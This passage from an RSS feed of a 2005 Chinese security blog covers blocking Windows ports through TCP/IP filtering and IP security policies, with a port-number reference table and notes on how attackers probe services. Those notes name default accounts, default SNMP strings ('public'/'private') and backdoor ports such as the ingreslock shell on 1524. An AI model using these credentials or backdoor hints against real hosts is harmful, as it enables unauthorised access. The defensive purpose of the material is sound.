<DIV>　　非法入侵的主要方式是前两种，尤其是利用一些流行的黑客工具，通过第一种方式攻击主机的情况最多、也最普遍；而对后两种方式来说，只有一些手段高超的黑客才利用，波及面并不广泛，而且只要这两种问题一出现，软件服务商很快就会提供补丁，及时修复系统。</DIV>
<DIV>　　因此，如果能限制前两种非法入侵方式，就能有效防止利用黑客工具的非法入侵。而且前两种非法入侵方式有一个共同点，就是通过端口进入主机。</DIV>
<DIV>　　端口就像一所房子(服务器)的几个门一样，不同的门通向不同的房间(服务器提供的不同服务)。我们常用的FTP默认端口为21，而WWW网页一般默认端口是80。但是有些马虎的网络管理员常常打开一些容易被侵入的端口服务，比如139等；还有一些木马程序，比如冰河、BO、广外等都是自动开辟一个您不察觉的端口。那么，只要我们把自己用不到的端口全部封锁起来，不就杜绝了这两种非法入侵吗？</DIV>
<DIV>　　限制端口的方法</DIV>
<DIV>　　对于个人用户来说，您可以限制所有的端口，因为您根本不必让您的机器对外提供任何服务；而对于对外提供网络服务的服务器，我们需把必须利用的端口(比如WWW端口80、FTP端口21、邮件服务端口25、110等)开放，其他的端口则全部关闭。</DIV>
<DIV>　　这里，对于采用Windows 2000或者Windows XP的用户来说，不需要安装任何其他软件，可以利用“TCP/IP筛选”功能限制服务器的端口。具体设置如下：</DIV>
<DIV>　　1、右键点击“网上邻居”，选择“属性”，然后双击“本地连接”(如果是拨号上网用户，选择“我的连接”图标)，弹出“本地连接状态”对话框。</DIV>
<DIV>　　2、点击[属性]按钮，弹出“本地连接属性”，选择“此连接使用下列项目”中的“Internet协议(TCP/IP)”，然后点击[属性]按钮。</DIV>
<DIV>　　3、在弹出的“Internet协议(TCP/IP)”对话框中点击[高级]按钮。在弹出的“高级TCP/IP设置”中，选择“选项”标签，选中“TCP/IP筛选”，然后点击[属性]按钮。</DIV>
<DIV>　　4、在弹出的“TCP/IP筛选”对话框里选择“启用TCP/IP筛选”的复选框，然后把左边“TCP端口”上的“只允许”选上(请见附图)。</DIV>
<DIV>　　这样，您就可以来自己添加或删除您的TCP或UDP或IP的各种端口了。</DIV>
<DIV>　　添加或者删除完毕，重新启动机器以后，您的服务器就被保护起来了。</DIV>
<DIV>　　如果只上网浏览的话，可以不添加任何端口。但是要利用一些网络联络工具，比如OICQ的话，就要把“4000”这个端口打开，同理，如果发现某个常用的网络工具不能起作用的时候，请搞清它在您主机所开的端口，然后在“TCP/IP筛选”中添加端口即可。 <BR></DIV>]]></description>
</item><item>
<title><![CDATA[Windows端口屏蔽]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=anchen0617&amp;id=6830</link>
<author>anchen0617</author>
<pubDate>2005/6/27 0:02:12</pubDate>
<description><![CDATA[
<TABLE align=center border=0 cellPadding=3 cellSpacing=0 width="98%">
<TBODY>
<TR>
<TD align=middle>
<H2><B>Windows端口屏蔽</B> </H2></TD></TR>
<TR>
<TD class=unnamed1>默认情况下，Windows有很多端口是开放的，在你上网的时候，网络病毒和黑客可以通过这些端口连上你的电脑。为了让你的系统变为铜墙铁壁，应该封闭这些端口，主要有：TCP 135、139、445、593、1025 端口和 UDP 135、137、138、445 端口，一些流行病毒的后门端口（如 TCP 2745、3127、6129 端口），以及远程服务访问端口3389。下面介绍如何在WinXP/2000/2003下关闭这些网络端口：<BR><BR>　　第一步，点击“开始”菜单/设置/控制面板/管理工具，双击打开“本地安全策略”，选中“IP 安全策略，在本地计算机”，在右边窗格的空白位置右击鼠标，弹出快捷菜单，选择“创建 IP 安全策略”（如右图），于是弹出一个向导。在向导中点击“下一步”按钮，为新的安全策略命名；再按“下一步”，则显示“安全通信请求”画面，在画面上把“激活默认相应规则”左边的钩去掉，点击“完成”按钮就创建了一个新的IP 安全策略。<BR><BR>　　第二步，右击该IP安全策略，在“属性”对话框中，把“使用添加向导”左边的钩去掉，然后单击“添加”按钮添加新的规则，随后弹出“新规则属性”对话框，在画面上点击“添加”按钮，弹出IP筛选器列表窗口；在列表中，首先把“使用添加向导”左边的钩去掉，然后再点击右边的“添加”按钮添加新的筛选器。<BR><BR>　　第三步，进入“筛选器属性”对话框，首先看到的是寻址，源地址选“任何 IP 地址”，目标地址选“我的 IP 地址”；点击“协议”选项卡，在“选择协议类型”的下拉列表中选择“TCP”，然后在“到此端口”下的文本框中输入“135”，点击“确定”按钮（如左图），这样就添加了一个屏蔽 TCP 135（RPC）端口的筛选器，它可以防止外界通过135端口连上你的电脑。<BR><BR>　　点击“确定”后回到筛选器列表的对话框，可以看到已经添加了一条策略，重复以上步骤继续添加 TCP 137、139、445、593 端口和 UDP 135、139、445 端口，为它们建立相应的筛选器。<BR><BR>　　重复以上步骤添加TCP 1025、2745、3127、6129、3389 端口的屏蔽策略，建立好上述端口的筛选器，最后点击“确定”按钮。<BR><BR>　　第四步，在“新规则属性”对话框中，选择“新 IP 筛选器列表”，然后点击其左边的圆圈上加一个点，表示已经激活，最后点击“筛选器操作”选项卡。在“筛选器操作”选项卡中，把“使用添加向导”左边的钩去掉，点击“添加”按钮，添加“阻止”操作（右图）：在“新筛选器操作属性”的“安全措施”选项卡中，选择“阻止”，然后点击“确定”按钮。<BR><BR>　　第五步、进入“新规则属性”对话框，点击“新筛选器操作”，其左边的圆圈会加了一个点，表示已经激活，点击“关闭”按钮，关闭对话框；最后回到“新IP安全策略属性”对话框，在“新的IP筛选器列表”左边打钩，按“确定”按钮关闭对话框。在“本地安全策略”窗口，用鼠标右击新添加的 IP 安全策略，然后选择“指派”。<BR><BR>　　于是重新启动后，电脑中上述网络端口就被关闭了，病毒和黑客再也不能连上这些端口，从而保护了你的电脑</TD></TR></TBODY></TABLE>]]></description>
</item><item>
<title><![CDATA[安全技术]端口的解释]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=anchen0617&amp;id=6829</link>
<author>anchen0617</author>
<pubDate>2005/6/26 23:46:06</pubDate>
<description><![CDATA[不同的端口有不同的作用希望大家能有所收获。<BR>为了帮助大家了解端口的作用特寻问如下：<BR>1　tcpmux　TCP Port Service Multiplexer 传输控制协议端口服务多路开关选择器<BR>2　compressnet　Management Utility　　　　 compressnet 管理实用程序<BR>3　compressnet　Compression Process　　　　压缩进程<BR>5　rje　Remote Job Entry　　　　　　　　　 远程作业登录<BR>7　echo　Echo　　　　　　　　　　　　　　　回显<BR>9　discard　Discard　　　　　　　　　　　　丢弃<BR>11　systat　Active Users　　　　　　　　　 在线用户<BR>13　daytime　Daytime　　　　　　　　　　　 时间<BR>17　qotd　Quote of the Day　　　　　　　　 每日引用<BR>18　msp　Message Send Protocol　　　　　　 消息发送协议<BR>19　chargen　Character Generator　　　　　 字符发生器<BR>20　ftp-data　File Transfer [Default Data]　文件传输协议(默认数据口)　<BR>21　ftp　File Transfer [Control]　　　　　　文件传输协议(控制)<BR>22　ssh　SSH Remote Login Protocol　　　　 SSH远程登录协议<BR>23　telnet　Telnet　　　　　　　　　　　　 终端仿真协议<BR>24　?　any private mail system　　　　　　 预留给个人用邮件系统<BR>25　smtp　Simple Mail Transfer　　　　　　 简单邮件发送协议<BR>27　nsw-fe　NSW User System FE　　　　　　 NSW 用户系统现场工程师<BR>29　msg-icp　MSG ICP　　　　　　　　　　　 MSG　ICP<BR>31　msg-auth　MSG Authentication　　　　　 MSG验证<BR>33　dsp　Display Support Protocol　　　　　显示支持协议<BR>35　?　any private printer server　　　　　预留给个人打印机服务<BR>37　time　Time　　　　　　　　　　　　　　 时间<BR>38　rap　Route Access Protocol　　　　　　 路由访问协议<BR>39　rlp　Resource Location Protocol　　　　资源定位协议<BR>41　graphics　Graphics　　　　　　　　　　 图形<BR>42　nameserver　WINS Host Name Server　　　WINS 主机名服务<BR>43　nicname　Who Is　　　　　　　　　　　　"绰号" who is服务<BR>44　mpm-flags　MPM FLAGS Protocol　　　　　MPM(消息处理模块)标志协议<BR>45　mpm　Message Processing Module [recv]　消息处理模块　<BR>46　mpm-snd　MPM [default send]　　　　　　消息处理模块(默认发送口)<BR>47　ni-ftp　NI FTP　　　　　　　　　　　　 NI FTP<BR>48　auditd　Digital Audit Daemon　　　　　 数码音频后台服务　<BR>49　tacacs　Login Host Protocol (TACACS)　 TACACS登录主机协议<BR>50　re-mail-ck　Remote Mail Checking Protocol　远程邮件检查协议<BR>51　la-maint　IMP Logical Address Maintenance　IMP(接口信息处理机)逻辑地址维护<BR>52　xns-time　XNS Time Protocol　　　　　　施乐网络服务系统时间协议　　<BR>53　domain　Domain Name Server　　　　　　 域名服务器<BR>54　xns-ch　XNS Clearinghouse　　　　　　　施乐网络服务系统票据交换<BR>55　isi-gl　ISI Graphics Language　　　　　ISI图形语言<BR>56　xns-auth　XNS Authentication　　　　　 施乐网络服务系统验证<BR>57　?　any private terminal access　　　　 预留个人用终端访问<BR>58　xns-mail　XNS Mail　　　　　　　　　　 施乐网络服务系统邮件<BR>59　?　any private file service　　　　　　预留个人文件服务<BR>60　?　Unassigned　　　　　　　　　　　　　未定义<BR>61　ni-mail　NI MAIL　　　　　　　　　　　 NI邮件?<BR>62　acas　ACA Services　　　　　　　　　　 异步通　<BR>63　whois+ whois+　　　　　　　　　　　　　 WHOIS+<BR>64　covia　Communications Integrator (CI)　通讯接口　<BR>65　tacacs-ds　TACACS-Database Service　　 TACACS数据库服务<BR>66　sql*net　Oracle SQL*NET　　　　　　　　Oracle SQL*NET<BR>67　bootps　Bootstrap Protocol Server　　　引导程序协议服务端<BR>68　bootpc　Bootstrap Protocol Client　　　引导程序协议客户端<BR>69　tftp　Trivial File Transfer　　　　　　小型文件传输协议<BR>70　gopher　Gopher　　　　　　　　　　　　 信息检索协议<BR>71　netrjs-1　Remote Job Service　　　　　 远程作业服务<BR>72　netrjs-2　Remote Job Service　　　　　 远程作业服务<BR>73　netrjs-3　Remote Job Service　　　　　 远程作业服务<BR>74　netrjs-4　Remote Job Service　　　　　 远程作业服务<BR>75　?　any private dial out service　　　　预留给个人拨出服务<BR>76　deos　Distributed External Object Store 分布式外部对象存储　<BR>77　?　any private RJE service　　　　　　预留给个人远程作业输入服务<BR>78　vettcp　vettcp　　　　　　　　　　　　 修正TCP?<BR>79　finger　Finger　　　　　　　　　　　　 FINGER(查询远程主机在线用户等信息)<BR>80　http　World Wide Web HTTP　　　　　　　全球信息网超文本传输协议<BR>81　hosts2-ns　HOSTS2 Name Server　　　　　HOST2名称服务<BR>82　xfer　XFER Utility　　　　　　　　　　 传输实用程序<BR>83　mit-ml-dev　MIT ML Device　　　　　　　模块化智能终端ML设备<BR>84　ctf　Common Trace Facility　　　　　　 公用追踪设备<BR>85　mit-ml-dev　MIT ML Device　　　　　　　模块化智能终端ML设备<BR>86　mfcobol　Micro Focus Cobol　　　　　　 Micro Focus Cobol编程语言<BR>87　?　any private terminal link　　　　　 预留给个人终端连接<BR>88　kerberos　Kerberos　　　　　　　　　　 Kerberros安全认证系统<BR>89　su-mit-tg　SU/MIT Telnet Gateway　　　 SU/MIT终端仿真网关<BR>90　dnsix　DNSIX Securit Attribute Token Map　DNSIX 安全属性标记图　<BR>91　mit-dov　MIT Dover Spooler　　　　　　 MIT Dover假脱机<BR>92　npp　Network Printing Protocol　　　　 网络打印协议<BR>93　dcp　Device Control Protocol　　　　　 设备控制协议<BR>94　objcall　Tivoli Object Dispatcher　　　Tivoli对象调度<BR>95　supdup　SUPDUP　　　　　　　　　　　　<BR>96　dixie　DIXIE Protocol Specification　　DIXIE协议规范<BR>97　swift-rvf　Swift Remote Virtural File Protocol　快速远程虚拟文件协议　<BR>98　tacnews　TAC News　　　　 
<P>99　metagram　Metagram Relay　　　　　　　<BR>101/tcp hostname NIC Host Name Server<BR>102/tcp iso-tsap ISO-TSAP Class 0<BR>103/tcp gppitnp Genesis Point-to-Point Trans Net<BR>104/tcp acr-nema ACR-NEMA Digital Imag. &amp; Comm. 300<BR>105/tcp cso CCSO name server protocol<BR>105/tcp csnet-ns Mailbox Name Nameserver<BR>106/tcp 3com-tsmux 3COM-TSMUX<BR>107/tcp rtelnet Remote Telnet Service<BR>108/tcp snagas SNA Gateway Access Server<BR>109/tcp pop2 Post Office Protocol - Version 2<BR>110/tcp pop3 Post Office Protocol - Version 3<BR>111/tcp sunrpc SUN Remote Procedure Call<BR>112/tcp mcidas McIDAS Data Transmission Protocol<BR>113/tcp ident<BR>114/tcp audionews Audio News Multicast<BR>115/tcp sftp Simple File Transfer Protocol<BR>116/tcp ansanotify ANSA REX Notify<BR>117/tcp uucp-path UUCP Path Service<BR>118/tcp sqlserv SQL Services<BR>119/tcp nntp Network News Transfer Protocol<BR>120/tcp cfdptkt CFDPTKT<BR>121/tcp erpc Encore Expedited Remote Pro.Call<BR>122/tcp smakynet SMAKYNET<BR>123/tcp ntp Network Time Protocol<BR>124/tcp ansatrader ANSA REX Trader<BR>125/tcp locus-map Locus PC-Interface Net Map Ser<BR>126/tcp unitary Unisys Unitary Login<BR>127/tcp locus-con Locus PC-Interface Conn Server<BR>128/tcp gss-xlicen GSS X License Verification<BR>129/tcp pwdgen Password Generator Protocol<BR>130/tcp cisco-fna cisco FNATIVE<BR>131/tcp cisco-tna cisco TNATIVE<BR>132/tcp cisco-sys cisco SYSMAINT<BR>133/tcp statsrv Statistics Service<BR>134/tcp ingres-net INGRES-NET Service<BR>135/tcp epmap DCE endpoint resolution<BR>136/tcp profile PROFILE Naming System<BR>137/tcp netbios-ns NETBIOS Name Service<BR>138/tcp netbios-dgm NETBIOS Datagram Service<BR>139/tcp netbios-ssn NETBIOS Session Service<BR>140/tcp emfis-data EMFIS Data Service<BR>141/tcp emfis-cntl EMFIS Control Service<BR>142/tcp bl-idm Britton-Lee IDM<BR>143/tcp imap Internet Message Access Protocol<BR>144/tcp uma Universal Management Architecture<BR>145/tcp uaac UAAC Protocol<BR>146/tcp iso-tp0 ISO-IP0<BR>147/tcp iso-ip ISO-IP<BR>148/tcp jargon Jargon<BR>149/tcp aed-512 AED 512 Emulation Service<BR>150/tcp sql-net SQL-NET<BR>151/tcp hems HEMS<BR>152/tcp bftp Background File Transfer Program<BR>153/tcp sgmp SGMP<BR>154/tcp netsc-prod NETSC<BR>155/tcp netsc-dev NETSC<BR>156/tcp sqlsrv SQL Service<BR>157/tcp knet-cmp KNET/VM Command/Message Protocol<BR>158/tcp pcmail-srv PCMail Server<BR>159/tcp nss-routing NSS-Routing<BR>160/tcp sgmp-traps SGMP-TRAPS<BR>161/tcp snmp SNMP<BR>162/tcp snmptrap SNMPTRAP<BR>163/tcp cmip-man CMIP/TCP Manager<BR>164/tcp cmip-agent CMIP/TCP Agent<BR>165/tcp xns-courier Xerox<BR>166/tcp s-net Sirius Systems<BR>167/tcp namp NAMP<BR>168/tcp rsvd RSVD<BR>169/tcp send SEND<BR>170/tcp print-srv Network PostScript<BR>171/tcp multiplex Network Innovations Multiplex<BR>172/tcp cl/1 Network Innovations CL/1<BR>173/tcp xyplex-mux Xyplex<BR>174/tcp mailq MAILQ<BR>175/tcp vmnet VMNET<BR>176/tcp genrad-mux GENRAD-MUX<BR>177/tcp xdmcp X Display Manager Control Protocol<BR>178/tcp nextstep NextStep Window Server<BR>179/tcp bgp Border Gateway Protocol<BR>180/tcp ris Intergraph<BR>181/tcp unify Unify<BR>182/tcp audit Unisys Audit SITP<BR>183/tcp ocbinder OCBinder<BR>184/tcp ocserver OCServer<BR>185/tcp remote-kis Remote-KIS<BR>186/tcp kis KIS Protocol<BR>187/tcp aci Application Communication Interface<BR>188/tcp mumps Plus Five磗 MUMPS<BR>189/tcp qft Queued File Transport<BR>190/tcp gacp Gateway Access Control Protocol<BR>191/tcp prospero Prospero Directory Service<BR>192/tcp osu-nms OSU Network Monitoring System<BR>193/tcp srmp Spider Remote Monitoring Protocol<BR>194/tcp irc Internet Relay Chat Protocol<BR>195/tcp dn6-nlm-aud DNSIX Network Level Module Audit<BR>196/tcp dn6-smm-red DNSIX Session Mgt Module Audit Redir<BR>197/tcp dls Directory Location Service<BR>198/tcp dls-mon Directory Location Service Monitor </P>
<P>199/tcp smux SMUX<BR>200/tcp src IBM System Resource Controller<BR>201/tcp at-rtmp AppleTalk Routing Maintenance<BR>202/tcp at-nbp AppleTalk Name Binding<BR>203/tcp at-3 AppleTalk Unused<BR>204/tcp at-echo AppleTalk Echo<BR>205/tcp at-5 AppleTalk Unused<BR>206/tcp at-zis AppleTalk Zone Information<BR>207/tcp at-7 AppleTalk Unused<BR>208/tcp at-8 AppleTalk Unused<BR>209/tcp qmtp The Quick Mail Transfer Protocol<BR>210/tcp z39.50 ANSI Z39.50<BR>211/tcp 914c/g Texas Instruments 914C/G Terminal<BR>212/tcp anet ATEXSSTR<BR>214/tcp vmpwscs VM PWSCS<BR>215/tcp softpc Insignia Solutions<BR>216/tcp CAIlic Computer Associates Int磍 License Server<BR>217/tcp dbase dBASE Unix<BR>218/tcp mpp Netix Message Posting Protocol<BR>219/tcp uarps Unisys ARPs<BR>220/tcp imap3 Interactive Mail Access Protocol v3<BR>221/tcp fln-spx Berkeley rlogind with SPX auth<BR>222/tcp rsh-spx Berkeley rshd with SPX auth<BR>223/tcp cdc Certificate Distribution Center<BR>242/tcp direct Direct<BR>243/tcp sur-meas Survey Measurement<BR>244/tcp dayna Dayna<BR>245/tcp link LINK<BR>246/tcp dsp3270 Display Systems Protocol<BR>247/tcp subntbcst_tftp SUBNTBCST_TFTP<BR>248/tcp bhfhs bhfhs<BR>256/tcp rap RAP<BR>257/tcp set Secure Electronic Transaction<BR>258/tcp yak-chat Yak Winsock Personal Chat<BR>259/tcp esro-gen Efficient Short Remote Operations<BR>260/tcp openport Openport<BR>263/tcp hdap HDAP<BR>264/tcp bgmp BGMP<BR>280/tcp http-mgmt http-mgmt<BR>309/tcp entrusttime EntrustTime<BR>310/tcp bhmds bhmds<BR>312/tcp vslmp VSLMP<BR>315/tcp dpsi DPSI<BR>316/tcp decauth decAuth<BR>317/tcp zannet Zannet<BR>321/tcp pip PIP<BR>344/tcp pdap Prospero Data Access Protocol<BR>345/tcp pawserv Perf Analysis Workbench<BR>346/tcp zserv Zebra server<BR>347/tcp fatserv Fatmen Server<BR>348/tcp csi-sgwp Cabletron Management Protocol<BR>349/tcp mftp mftp<BR>351/tcp matip-type-b MATIP Type B<BR>351/tcp bhoetty bhoetty (added 5/21/97)<BR>353/tcp ndsauth NDSAUTH<BR>354/tcp bh611 bh611<BR>357/tcp bhevent bhevent<BR>362/tcp srssend SRS Send<BR>365/tcp dtk DTK<BR>366/tcp odmr ODMR<BR>368/tcp qbikgdp QbikGDP<BR>371/tcp clearcase Clearcase<BR>372/tcp ulistproc ListProcessor<BR>373/tcp legent-1 Legent Corporation<BR>374/tcp legent-2 </P>
<P>以下是bingtang补充：<BR>0 通常用于分析操作系统。这一方法能够工作是因为在一些系统中“0”是无效端口，当你试图使用一种通常的闭合端口连接它时将产生不同的结果。一种典型的扫描：使用IP地址为0.0.0.0，设置ACK位并在以太网层广播。<BR><BR>　<BR><BR>1 tcpmux 这显示有人在寻找SGI Irix机器。Irix是实现tcpmux的主要提供者，缺省情况下tcpmux在这种系统中被打开。Iris机器在发布时含有几个缺省的无密码的帐户，如lp, guest, uucp, nuucp, demos, tutor, diag, EZsetup, OutOfBox, 和4Dgifts。许多管理员安装后忘记删除这些帐户。因此Hacker们在Internet上搜索tcpmux并利用这些帐户。<BR><BR>7 Echo 你能看到许多人们搜索Fraggle放大器时，发送到x.x.x.0和x.x.x.255的信息。常见的一种DoS攻击是echo循环（echo-loop），攻击者伪造从一个机器发送到另一个机器的UDP数据包，而两个机器分别以它们最快的方式回应这些数据包。另一种东西是由DoubleClick在词端口建立的TCP连接。有一种产品叫做“Resonate Global Dispatch”，它与DNS的这一端口连接以确定最近的路由。Harvest/squid cache将从3130端口发送UDP echo：“如果将cache的source_ping on选项打开，它将对原始主机的UDP echo端口回应一个HIT reply。”这将会产生许多这类数据包。<BR><BR>11 sysstat 这是一种UNIX服务，它会列出机器上所有正在运行的进程以及是什么启动了这些进程。这为入侵者提供了许多信息而威胁机器的安全，如暴露已知某些弱点或帐户的程序。这与UNIX系统中“ps”命令的结果相似。再说一遍：ICMP没有端口，ICMP port 11通常是ICMP type=11。<BR><BR>19 chargen 这是一种仅仅发送字符的服务。UDP版本将会在收到UDP包后回应含有垃圾字符的包。TCP连接时，会发送含有垃圾字符的数据流知道连接关闭。Hacker利用IP欺骗可以发动DoS攻击。伪造两个chargen服务器之间的UDP包。由于服务器企图回应两个服务器之间的无限的往返数据通讯一个chargen和echo将导致服务器过载。同样fraggle DoS攻击向目标地址的这个端口广播一个带有伪造受害者IP的数据包，受害者为了回应这些数据而过载。<BR><BR>21 ftp 最常见的攻击者用于寻找打开“anonymous”的ftp服务器的方法。这些服务器带有可读写的目录。Hackers或Crackers 利用这些服务器作为传送warez (私有程序) 和pr0n(故意拼错词而避免被搜索引擎分类)的节点。<BR><BR>22 ssh PcAnywhere 建立TCP和这一端口的连接可能是为了寻找ssh。这一服务有许多弱点。如果配置成特定的模式，许多使用RSAREF库的版本有不少漏洞。（建议在其它端口运行ssh）。还应该注意的是ssh工具包带有一个称为make-ssh-known-hosts的程序。它会扫描整个域的ssh主机。你有时会被使用这一程序的人无意中扫描到。UDP（而不是TCP）与另一端的5632端口相连意味着存在搜索pcAnywhere的扫描。5632（十六进制的0x1600）位交换后是0x0016（使进制的22）。<BR><BR>23 Telnet 入侵者在搜索远程登陆UNIX的服务。大多数情况下入侵者扫描这一端口是为了找到机器运行的操作系统。此外使用其它技术，入侵者会找到密码。<BR><BR>25 smtp 攻击者（spammer）寻找SMTP服务器是为了传递他们的spam。入侵者的帐户总被关闭，他们需要拨号连接到高带宽的e-mail服务器上，将简单的信息传递到不同的地址。SMTP服务器（尤其是sendmail）是进入系统的最常用方法之一，因为它们必须完整的暴露于Internet且邮件的路由是复杂的（暴露+复杂=弱点）。<BR><BR>53 DNS Hacker或crackers可能是试图进行区域传递（TCP），欺骗DNS（UDP）或隐藏其它通讯。因此防火墙常常过滤或记录53端口。需要注意的是你常会看到53端口做为UDP源端口。不稳定的防火墙通常允许这种通讯并假设这是对DNS查询的回复。Hacker常使用这种方法穿透防火墙。<BR><BR>67&amp;68 Bootp和DHCP UDP上的Bootp/DHCP：通过DSL和cable-modem的防火墙常会看见大量发送到广播地址255.255.255.255的数据。这些机器在向DHCP服务器请求一个地址分配。Hacker常进入它们分配一个地址把自己作为局部路由器而发起大量的“中间人”（man-in-middle）攻击。客户端向68端口（bootps）广播请求配置，服务器向67端口（bootpc）广播回应请求。这种回应使用广播是因为客户端还不知道可以发送的IP地址。<BR><BR>69 TFTP(UDP) 许多服务器与bootp一起提供这项服务，便于从系统下载启动代码。但是它们常常错误配置而从系统提供任何文件，如密码文件。它们也可用于向系统写入文件。<BR><BR>79 finger Hacker用于获得用户信息，查询操作系统，探测已知的缓冲区溢出错误，回应从自己机器到其它机器finger扫描。<BR><BR>98 linuxconf 这个程序提供linux boxen的简单管理。通过整合的HTTP服务器在98端口提供基于Web界面的服务。它已发现有许多安全问题。一些版本setuid root，信任局域网，在/tmp下建立Internet可访问的文件，LANG环境变量有缓冲区溢出。此外因为它包含整合的服务器，许多典型的HTTP漏洞可能存在（缓冲区溢出，历遍目录等）<BR><BR>109 POP2 并不象POP3那样有名，但许多服务器同时提供两种服务（向后兼容）。在同一个服务器上POP3的漏洞在POP2中同样存在。<BR><BR>110 POP3 用于客户端访问服务器端的邮件服务。POP3服务有许多公认的弱点。关于用户名和密码交换缓冲区溢出的弱点至少有20个（这意味着Hacker可以在真正登陆前进入系统）。成功登陆后还有其它缓冲区溢出错误。<BR><BR>111 sunrpc portmap rpcbind Sun RPC PortMapper/RPCBIND。访问portmapper是扫描系统查看允许哪些RPC服务的最早的一步。常见RPC服务有：rpc.mountd, NFS, rpc.statd, rpc.csmd, rpc.ttybd, amd等。入侵者发现了允许的RPC服务将转向提供服务的特定端口测试漏洞。记住一定要记录线路中的daemon, IDS, 或sniffer，你可以发现入侵者正使用什么程序访问以便发现到底发生了什么。<BR><BR>113 Ident auth 这是一个许多机器上运行的协议，用于鉴别TCP连接的用户。使用标准的这种服务可以获得许多机器的信息（会被Hacker利用）。但是它可作为许多服务的记录器，尤其是FTP, POP, IMAP, SMTP和IRC等服务。通常如果有许多客户通过防火墙访问这些服务，你将会看到许多这个端口的连接请求。记住，如果你阻断这个端口客户端会感觉到在防火墙另一边与e-mail服务器的缓慢连接。许多防火墙支持在TCP连接的阻断过程中发回RST，着将回停止这一缓慢的连接。<BR><BR>119 NNTP news 新闻组传输协议，承载USENET通讯。当你链接到诸如：<A href="news://comp.security.firewalls/." target=_blank><FONT color=#003366>news://comp.security.firewalls/.</FONT></A> 的地址时通常使用这个端口。这个端口的连接企图通常是人们在寻找USENET服务器。多数ISP限制只有他们的客户才能访问他们的新闻组服务器。打开新闻组服务器将允许发/读任何人的帖子，访问被限制的新闻组服务器，匿名发帖或发送spam。<BR><BR>135 oc-serv MS RPC end-point mapper Microsoft在这个端口运行DCE RPC end-point mapper为它的DCOM服务。这与UNIX 111端口的功能很相似。使用DCOM和/或RPC的服务利用机器上的end-point mapper注册它们的位置。远端客户连接到机器时，它们查询end-point mapper找到服务的位置。同样Hacker扫描机器的这个端口是为了找到诸如：这个机器上运行Exchange Server吗？是什么版本？这个端口除了被用来查询服务（如使用epdump）还可以被用于直接攻击。有一些DoS攻击直接针对这个端口。 </P>
<P>137 NetBIOS name service nbtstat (UDP) 这是防火墙管理员最常见的信息。<BR><BR>139 NetBIOS File and Print Sharing 通过这个端口进入的连接试图获得NetBIOS/SMB服务。这个协议被用于Windows“文件和打印机共享”和SAMBA。在Internet上共享自己的硬盘是可能是最常见的问题。大量针对这一端口始于1999，后来逐渐变少。2000年又有回升。一些VBS（IE5 VisualBasic Scripting）开始将它们自己拷贝到这个端口，试图在这个端口繁殖。<BR><BR>143 IMAP 和上面POP3的安全问题一样，许多IMAP服务器有缓冲区溢出漏洞运行登陆过程中进入。记住：一种Linux蠕虫（admw0rm）会通过这个端口繁殖，因此许多这个端口的扫描来自不知情的已被感染的用户。当RadHat在他们的Linux发布版本中默认允许IMAP后，这些漏洞变得流行起来。Morris蠕虫以后这还是第一次广泛传播的蠕虫。这一端口还被用于IMAP2，但并不流行。已有一些报道发现有些0到143端口的攻击源于脚本。<BR><BR>161 SNMP(UDP) 入侵者常探测的端口。SNMP允许远程管理设备。所有配置和运行信息都储存在数据库中，通过SNMP客获得这些信息。许多管理员错误配置将它们暴露于Internet。Crackers将试图使用缺省的密码“public”“private”访问系统。他们可能会试验所有可能的组合。SNMP包可能会被错误的指向你的网络。Windows机器常会因为错误配置将HP JetDirect remote management软件使用SNMP。HP OBJECT IDENTIFIER将收到SNMP包。新版的Win98使用SNMP解析域名，你会看见这种包在子网内广播（cable modem, DSL）查询sysName和其它信息。<BR><BR>162 SNMP trap 可能是由于错误配置<BR><BR>177 xdmcp 许多Hacker通过它访问X-Windows控制台， 它同时需要打开6000端口。<BR><BR>513 rwho 可能是从使用cable modem或DSL登陆到的子网中的UNIX机器发出的广播。这些人为Hacker进入他们的系统提供了很有趣的信息。<BR><BR>553 CORBA IIOP (UDP) 如果你使用cable modem或DSL VLAN，你将会看到这个端口的广播。CORBA是一种面向对象的RPC（remote procedure call）系统。Hacker会利用这些信息进入系统。<BR><BR>600 Pcserver backdoor 请查看1524端口。<BR>一些玩script的孩子认为他们通过修改ingreslock和pcserver文件已经完全攻破了系统-- Alan J. Rosenthal.<BR><BR>635 mountd Linux的mountd Bug。这是人们扫描的一个流行的Bug。大多数对这个端口的扫描是基于UDP的，但基于TCP的mountd有所增加（mountd同时运行于两个端口）。记住，mountd可运行于任何端口（到底在哪个端口，需要在端口111做portmap查询），只是Linux默认为635端口，就象NFS通常运行于2049端口。<BR><BR>1024 许多人问这个端口是干什么的。它是动态端口的开始。许多程序并不在乎用哪个端口连接网络，它们请求操作系统为它们分配“下一个闲置端口”。基于这一点分配从端口1024开始。这意味着第一个向系统请求分配动态端口的程序将被分配端口1024。为了验证这一点，你可以重启机器，打开Telnet，再打开一个窗口运行“natstat -a”，你将会看到Telnet被分配1024端口。请求的程序越多，动态端口也越多。操作系统分配的端口将逐渐变大。再来一遍，当你浏览Web页时用“netstat”查看，每个Web页需要一个新端口。<BR><BR>1025，1026 参见1024<BR><BR>1080 SOCKS 这一协议以管道方式穿过防火墙，允许防火墙后面的许多人通过一个IP地址访问Internet。理论上它应该只允许内部的通信向外达到Internet。但是由于错误的配置，它会允许Hacker/Cracker的位于防火墙外部的攻击穿过防火墙。或者简单地回应位于Internet上的计算机，从而掩饰他们对你的直接攻击。WinGate是一种常见的Windows个人防火墙，常会发生上述的错误配置。在加入IRC聊天室时常会看到这种情况。<BR><BR>1114 SQL 系统本身很少扫描这个端口，但常常是sscan脚本的一部分。<BR><BR><BR>1243 Sub-7木马（TCP）<BR><BR>1524 ingreslock 后门许多攻击脚本将安装一个后门Shell于这个端口（尤其是那些针对Sun系统中sendmail和RPC服务漏洞的脚本，如statd, ttdbserver和cmsd）。如果你刚刚安装了你的防火墙就看到在这个端口上的连接企图，很可能是上述原因。你可以试试Telnet到你的机器上的这个端口，看看它是否会给你一个Shell。连接到600/pcserver也存在这个问题。<BR><BR>2049 NFS NFS程序常运行于这个端口。通常需要访问portmapper查询这个服务运行于哪个端口，但是大部分情况是安装后NFS运行于这个端口，Hacker/Cracker因而可以闭开portmapper直接测试这个端口。<BR><BR>3128 squid 这是Squid HTTP代理服务器的默认端口。攻击者扫描这个端口是为了搜寻一个代理服务器而匿名访问Internet。你也会看到搜索其它代理服务器的端口：8000/8001/8080/8888。扫描这一端口的另一原因是：用户正在进入聊天室。其它用户（或服务器本身）也会检验这个端口以确定用户的机器是否支持代理。<BR><BR>5632 pcAnywere 